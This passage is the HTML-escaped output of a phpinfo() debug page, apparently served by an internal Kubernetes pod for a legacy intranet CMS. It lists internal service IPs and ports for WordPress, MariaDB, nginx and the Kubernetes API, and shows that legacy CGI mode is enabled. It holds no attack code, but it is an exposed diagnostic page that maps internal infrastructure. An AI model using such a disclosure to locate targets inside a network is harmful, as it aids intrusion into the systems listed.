&lt;tr&gt;&lt;td class="e"&gt;PHP_CPPFLAGS &lt;/td&gt;&lt;td class="v"&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_ASC_URL &lt;/td&gt;&lt;td class="v"&gt;https://www.php.net/distributions/php-8.3.3.tar.xz.asc &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_PORT_80_TCP_PROTO &lt;/td&gt;&lt;td class="v"&gt;tcp &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL &lt;/td&gt;&lt;td class="v"&gt;3306 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_URL &lt;/td&gt;&lt;td class="v"&gt;https://www.php.net/distributions/php-8.3.3.tar.xz &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_MAX_EXECUTION_TIME &lt;/td&gt;&lt;td class="v"&gt;120 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_PORT_443_TCP_ADDR &lt;/td&gt;&lt;td class="v"&gt;10.43.0.1 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PATH &lt;/td&gt;&lt;td class="v"&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_PORT &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.147.82:3306 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_SERVICE_PORT &lt;/td&gt;&lt;td class="v"&gt;3306 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_PORT_443_TCP_PORT &lt;/td&gt;&lt;td class="v"&gt;443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR &lt;/td&gt;&lt;td class="v"&gt;10.43.61.204 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.147.82:3306 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_MEMORY_LIMIT &lt;/td&gt;&lt;td class="v"&gt;128M &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_PORT_80_TCP &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.4.242:80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_PORT_443_TCP_PROTO &lt;/td&gt;&lt;td class="v"&gt;tcp &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;CMS_ENVIRONMENT &lt;/td&gt;&lt;td class="v"&gt;development &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT &lt;/td&gt;&lt;td class="v"&gt;443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO &lt;/td&gt;&lt;td class="v"&gt;tcp &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP &lt;/td&gt;&lt;td class="v"&gt;80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_SERVICE_PORT_HTTP &lt;/td&gt;&lt;td class="v"&gt;80 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_PORT_443_TCP &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.0.1:443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_SERVICE_PORT_HTTPS &lt;/td&gt;&lt;td class="v"&gt;443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHPIZE_DEPS &lt;/td&gt;&lt;td class="v"&gt;autoconf               dpkg-dev dpkg           file            g++             gcc     libc-dev                 make            pkgconf                 re2c &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR &lt;/td&gt;&lt;td class="v"&gt;10.43.2.241 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;KUBERNETES_SERVICE_HOST &lt;/td&gt;&lt;td class="v"&gt;10.43.0.1 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PWD &lt;/td&gt;&lt;td class="v"&gt;/ &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP_SHA256 &lt;/td&gt;&lt;td class="v"&gt;b0a996276fe21fe9ca8f993314c8bc02750f464c7b0343f056fb0894a8dfa9d1 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP &lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS &lt;/td&gt;&lt;td class="v"&gt;443 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT &lt;/td&gt;&lt;td class="v"&gt;5000 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BETA_VINO_WP_WORDPRESS_SERVICE_HOST &lt;/td&gt;&lt;td class="v"&gt;10.43.61.204 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP &lt;/td&gt;&lt;td class="v"&gt;5000 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO &lt;/td&gt;&lt;td class="v"&gt;tcp &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;WP_NGINX_SERVICE_SERVICE_HOST &lt;/td&gt;&lt;td class="v"&gt;10.43.4.242 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;PHP Variables&lt;/h2&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Variable&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_REQUEST['debug']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_GET['debug']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.0.1:443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['HOSTNAME']&lt;/td&gt;&lt;td class="v"&gt;legacy-intranet-cms-6f7bf5db84-gb975&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_INI_DIR']&lt;/td&gt;&lt;td class="v"&gt;/usr/local/etc/php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.4.242:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.2.241&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SHLVL']&lt;/td&gt;&lt;td class="v"&gt;2&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_CGI_VERSION']&lt;/td&gt;&lt;td class="v"&gt;8.3.3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_PORT_5000_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.2.241:5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['HOME']&lt;/td&gt;&lt;td class="v"&gt;/root&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_LDFLAGS']&lt;/td&gt;&lt;td class="v"&gt;-Wl,-O1 -pie&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_CGI_ENABLED']&lt;/td&gt;&lt;td class="v"&gt;true&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.61.204&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.147.82&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_CFLAGS']&lt;/td&gt;&lt;td class="v"&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_PORT_80_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.4.242&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_VERSION']&lt;/td&gt;&lt;td class="v"&gt;8.3.3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.2.241:5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_MODE']&lt;/td&gt;&lt;td class="v"&gt;enabled&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['GPG_KEYS']&lt;/td&gt;&lt;td class="v"&gt;1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_PORT_80_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.147.82&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_CPPFLAGS']&lt;/td&gt;&lt;td class="v"&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_ASC_URL']&lt;/td&gt;&lt;td class="v"&gt;https://www.php.net/distributions/php-8.3.3.tar.xz.asc&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_PORT_80_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL']&lt;/td&gt;&lt;td class="v"&gt;3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_URL']&lt;/td&gt;&lt;td class="v"&gt;https://www.php.net/distributions/php-8.3.3.tar.xz&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_MAX_EXECUTION_TIME']&lt;/td&gt;&lt;td class="v"&gt;120&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_PORT_443_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.0.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PATH']&lt;/td&gt;&lt;td class="v"&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.147.82:3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_PORT_443_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.61.204&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_80_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_MARIADB_PORT_3306_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.147.82:3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_MEMORY_LIMIT']&lt;/td&gt;&lt;td class="v"&gt;128M&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_PORT_80_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.4.242:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_PORT_443_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['CMS_ENVIRONMENT']&lt;/td&gt;&lt;td class="v"&gt;development&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_SERVICE_PORT_HTTP']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_PORT_443_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.0.1:443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_SERVICE_PORT_HTTPS']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHPIZE_DEPS']&lt;/td&gt;&lt;td class="v"&gt;autoconf            dpkg-dev dpkg           file            g++             gcc              libc-dev                make            pkgconf                 re2c&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.2.241&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['KUBERNETES_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.0.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PWD']&lt;/td&gt;&lt;td class="v"&gt;/&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_SHA256']&lt;/td&gt;&lt;td class="v"&gt;b0a996276fe21fe9ca8f993314c8bc02750f464c7b0343f056fb0894a8dfa9d1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_PORT_443_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['BETA_VINO_WP_WORDPRESS_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.61.204&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['WP_NGINX_SERVICE_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.4.242&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['HTTP_CONNECTION']&lt;/td&gt;&lt;td class="v"&gt;close&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['HTTP_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.2.241:5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SCRIPT_FILENAME']&lt;/td&gt;&lt;td class="v"&gt;/var/www/html/phpinfo.php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REDIRECT_STATUS']&lt;/td&gt;&lt;td class="v"&gt;200&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SERVER_NAME']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SERVER_PORT']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SERVER_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.42.1.241&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REMOTE_PORT']&lt;/td&gt;&lt;td class="v"&gt;41902&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REMOTE_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.42.1.249&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SERVER_SOFTWARE']&lt;/td&gt;&lt;td class="v"&gt;nginx/1.24.0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['GATEWAY_INTERFACE']&lt;/td&gt;&lt;td class="v"&gt;CGI/1.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REQUEST_SCHEME']&lt;/td&gt;&lt;td class="v"&gt;http&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SERVER_PROTOCOL']&lt;/td&gt;&lt;td class="v"&gt;HTTP/1.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['DOCUMENT_ROOT']&lt;/td&gt;&lt;td class="v"&gt;/var/www/html&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['DOCUMENT_URI']&lt;/td&gt;&lt;td class="v"&gt;/phpinfo.php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REQUEST_URI']&lt;/td&gt;&lt;td class="v"&gt;/phpinfo.php?debug&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['SCRIPT_NAME']&lt;/td&gt;&lt;td class="v"&gt;/phpinfo.php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['CONTENT_LENGTH']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['CONTENT_TYPE']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REQUEST_METHOD']&lt;/td&gt;&lt;td class="v"&gt;GET&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['QUERY_STRING']&lt;/td&gt;&lt;td class="v"&gt;debug&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['FCGI_ROLE']&lt;/td&gt;&lt;td class="v"&gt;RESPONDER&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['PHP_SELF']&lt;/td&gt;&lt;td class="v"&gt;/phpinfo.php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REQUEST_TIME_FLOAT']&lt;/td&gt;&lt;td class="v"&gt;1771279653.1446&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['REQUEST_TIME']&lt;/td&gt;&lt;td class="v"&gt;1771279653&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['argv']&lt;/td&gt;&lt;td class="v"&gt;&lt;pre&gt;Array
(
    [0] =&amp;gt; debug
)
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_SERVER['argc']&lt;/td&gt;&lt;td class="v"&gt;1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.0.1:443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['HOSTNAME']&lt;/td&gt;&lt;td class="v"&gt;legacy-intranet-cms-6f7bf5db84-gb975&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_INI_DIR']&lt;/td&gt;&lt;td class="v"&gt;/usr/local/etc/php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.4.242:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.2.241&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SHLVL']&lt;/td&gt;&lt;td class="v"&gt;2&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_CGI_VERSION']&lt;/td&gt;&lt;td class="v"&gt;8.3.3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_PORT_5000_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.2.241:5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['HOME']&lt;/td&gt;&lt;td class="v"&gt;/root&lt;/td&gt;&lt;/tr&gt;
